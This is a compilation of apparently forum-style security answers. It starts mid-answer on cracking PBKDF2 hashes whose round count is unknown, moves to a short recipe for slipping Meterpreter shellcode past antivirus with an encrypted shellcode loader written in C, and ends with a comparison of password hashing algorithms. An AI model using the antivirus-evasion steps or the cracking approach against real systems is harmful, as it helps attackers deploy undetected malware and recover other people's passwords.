sha256:3:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
sha256:4:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
sha256:5:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt

... and then feed all of them to your cracking software. (Because the number of rounds in this hash format is designed to be variable, cracking software should be able to handle this just fine.)

That being said, there's usually a practical upper limit to the number of rounds - beyond which it would take too long for interactive users to tolerate waiting for their password to be verified. 100,000 rounds would be pretty unusual, but not impossible. But if this is some custom, bespoke application, an unusually high number of rounds might be tolerable. So if it's some bespoke application, trying to "hide" the number of rounds might make it a little harder for the attacker. And since PBKDF2 is a pretty slow hash, if we assume that the defender picked a pretty high number of rounds, this approach might actually make things harder.

So if an attack on rounds from 1 to 50,000, using common wordlists and attacks, didn't yield any results in a day or two ... I'd be inclined to start to think that it might be different hash type - and would probably also trying to grab the software/firmware that generates/verifies the hashes and reverse engineering it. Actually, I'd probably do that anyway why I was waiting for the cracking job to finish. :)


Newer techniques for Meterpreter AV bypass

One way I found that works, is to:

generate shellcode from msfvenom,
then remove bad chars from it i.e. -b '\x00',
then encrypt the shellcode,
and put it into a self-written C program, which will decrypt and execute the shellcode, via CreateProcess

You will bypass all static AV analysis. But you still probably might get caught on dynamic analysis with Windows Defender.


Which is the best password hashing algorithm in .NET Core?

Argon2 is the best of those to use. It has been well-vetted and is the subject of intense research. It was chosen as the winner in the Password Hashing Competition (PHC) to replace scrypt, which has some nasty time-memory tradeoff (TMTO) attacks, and which is not nearly as flexible in configuration.

Argon2 won the PHC and is based on a thorough analysis of tradeoff attacks. It requires a configurable amount of memory to run, and an attacker will either need to use that much memory per brute force thread, or they will need to perform drastically more computations. Each memory pass reduces the flexibility an attacker has to trade memory requirements for time requirements. There are two primary Argon2 modes, called Argon2i and Argon2d. The former is designed to resist side-channel attacks, whereas the latter is designed to maximize security against offline attacks. A hybrid, Argon2id, which uses Argon2i for the first  memory pass and Argon2d for subsequent passes, also exists.

bcrypt is an older KDF designed from the key schedule of Blowfish, which is slow. It requires 4 KiB of fast memory to compute, which makes it inefficient on GPU-based crackers due to their use of contended memory. This is because GPUs have many cores, but each core has to share access to the main VRAM. Because bcrypt reads and modifies a 4 KiB state as it runs, multiple parallel GPU cores will fight over who gets access to the main memory bus, and the result is that most cores are idling, waiting until they have access to the memory they need to perform bcrypt evaluations.

scrypt is a memory-hard KDF, but it is subject to more severe TMTO attacks than Argon2. That is, if an attacker doesn't have enough memory, they can run scrypt over the same input with less memory than required by performing more operations. Additionally, scrypt's internal  memory and time requirements are not independent, so it is impossible to increase memory usage without increasing processing time, and vice versa. This may become an issue for servers that might want to spend only a few tens of milliseconds on each computation, but which want to use several megabytes of memory.

Catena was one of the PHC candidates, but it did not win the competition. I haven't read the paper so I can't really say much about it, but because it did not win, it won't have nearly as much research going into it, so if there are any issues, they may not be discovered. It is not, however, a bad choice, as it was still the subject of significant research and has a solid theoretical foundation. I still wouldn't use it.

PBKDF2 is one of the oldest KDFs, and is likely the most common. It is not memory hard, which means an attacker can perform massively parallel attacks against it without running into memory issues. PBKDF2 works by taking any keyed hash, typically HMAC, and running it multiple times such that each hash evaluation depends on all the previous hash evaluations. Unfortunately, typical hashes used in HMAC require next to no memory to compute, so an attacker can massively parallelize brute force searches on GPUs and ASICs without running into the issues that a memory-hard KDF would cause.